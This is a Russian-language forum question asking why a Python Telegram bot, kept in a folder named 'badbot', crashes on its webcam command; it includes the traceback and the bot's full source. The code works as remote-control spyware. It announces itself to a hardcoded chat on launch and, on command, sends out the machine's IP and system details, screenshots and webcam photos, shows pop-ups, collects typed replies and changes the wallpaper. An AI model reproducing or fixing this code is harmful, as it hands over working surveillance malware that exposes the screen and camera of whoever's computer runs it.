Ошибка когда телеграм бот должен сделать снимок?

Question

[Андрей Андреев]

Суть в том что бы когда в телеге ты нажимал вебкам, у тебя должен сделаться снимок с вебки, но вылетает ошибка, все остальные функции работают.
ОШИБКА:

Код ошибки

Traceback (most recent call last):
File "C:\Users\Андрей\Desktop\badbot\main.py", line 111, in
client.polling()
File "C:\Users\Андрей\AppData\Local\Programs\Python\Python38\lib\site-packages\telebot\__init__.py", line 485, in polling
self.__threaded_polling(none_stop, interval, timeout, long_polling_timeout)
File "C:\Users\Андрей\AppData\Local\Programs\Python\Python38\lib\site-packages\telebot\__init__.py", line 544, in __threaded_polling
raise e
File "C:\Users\Андрей\AppData\Local\Programs\Python\Python38\lib\site-packages\telebot\__init__.py", line 507, in __threaded_polling
self.worker_pool.raise_exceptions()
File "C:\Users\Андрей\AppData\Local\Programs\Python\Python38\lib\site-packages\telebot\util.py", line 117, in raise_exceptions
raise self.exception_info
File "C:\Users\Андрей\AppData\Local\Programs\Python\Python38\lib\site-packages\telebot\util.py", line 69, in run
task(*args, **kwargs)
File "C:\Users\Андрей\Desktop\badbot\main.py", line 58, in webcam
cv2.imwrite("cam.jpg", frame)
cv2.error: OpenCV(4.5.1) C:\Users\appveyor\AppData\Local\Temp\1\pip-req-build-kh7iq4w7\opencv\modules\imgcodecs\src\loadsave.cpp:753: error: (-215:Assertion failed) !_img.empty() in function 'cv::imwrite'

Код программы

import telebot
from telebot import types
import requests
import cv2
import ctypes
import pyautogui as pag
import platform as pf
import os

TOKEN = "*Токен-скрыт*"
CHAT_ID = "778163198"
client = telebot.TeleBot(TOKEN)

requests.post(f"https://api.telegram.org/bot{TOKEN}/sendMessage?chat_id={CHAT_ID}&text=Online")


@client.message_handler(commands=["start"])
def start(message):
	rmk = types.ReplyKeyboardMarkup(resize_keyboard=True)
	btns = ["/ip", "/spec", "/screenshot", "/webcam",
			"/message", "/input", "/wallpaper"]

	for btn in btns:
		rmk.add(types.KeyboardButton(btn))

	client.send_message(message.chat.id, "Выберите действие:", reply_markup=rmk)


@client.message_handler(commands=["ip", "ip_address"])
def ip_address(message):
	response = requests.get("http://jsonip.com/").json()
	client.send_message(message.chat.id, f"IP Address: {response['ip']}")


@client.message_handler(commands=["spec", "specifications"])
def spec(message):
	msg = f"Name PC: {pf.node()}\nProcessor: {pf.processor()}\nSystem: {pf.system()} {pf.release()}"
	client.send_message(message.chat.id, msg)


@client.message_handler(commands=["screenshot"])
def screenshot(message):
	pag.screenshot("000.jpg")

	with open("000.jpg", "rb") as img:
		client.send_photo(message.chat.id, img)


@client.message_handler(commands=["webcam"])
def webcam(message):
	cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)

	for i in range(30):
		cap.read()

	ret, frame = cap.read()

	cv2.imwrite("C:/Users/Андрей/Desktop/badbot/cam.jpg", frame)
	cap.release()

	with open("C:/Users/Андрей/Desktop/badbot/cam.jpg", "rb") as img:
		client.send_photo(message.chat.id, img)


@client.message_handler(commands=["message"])
def message_sending(message):
	msg = client.send_message(message.chat.id, "Введите ваше сообщение, которое желаете вывести на экран.")
	client.register_next_step_handler(msg, next_message_sending)


def next_message_sending(message):
	try:
		pag.alert(message.text, "~")
	except Exception:
		client.send_message(message.chat.id, "Что-то пошло не так...")


@client.message_handler(commands=["input"])
def message_sending_with_input(message):
	msg = client.send_message(message.chat.id, "Введите ваше сообщение, которое желаете вывести на экран.")
	client.register_next_step_handler(msg, next_message_sending_with_input)


def next_message_sending_with_input(message):
	try:
		answer = pag.prompt(message.text, "~")
		client.send_message(message.chat.id, answer)
	except Exception:
		client.send_message(message.chat.id, "Что-то пошло не так...")


@client.message_handler(commands=["wallpaper"])
def wallpaper(message):
	msg = client.send_message(message.chat.id, "Отправьте картинку или ссылку")
	client.register_next_step_handler(msg, next_wallpaper)


@client.message_handler(content_types=["photo"])
def next_wallpaper(message):
	file = message.photo[-1].file_id
	file = client.get_file(file)
	dfile = client.download_file(file.file_path)

	with open("image.jpg", "wb") as img:
		img.write(dfile)

	path = os.path.abspath("image.jpg")
	ctypes.windll.user32.SystemParametersInfoW(20, 0, path, 0)

cv2.destroyAllWindows()
client.polling()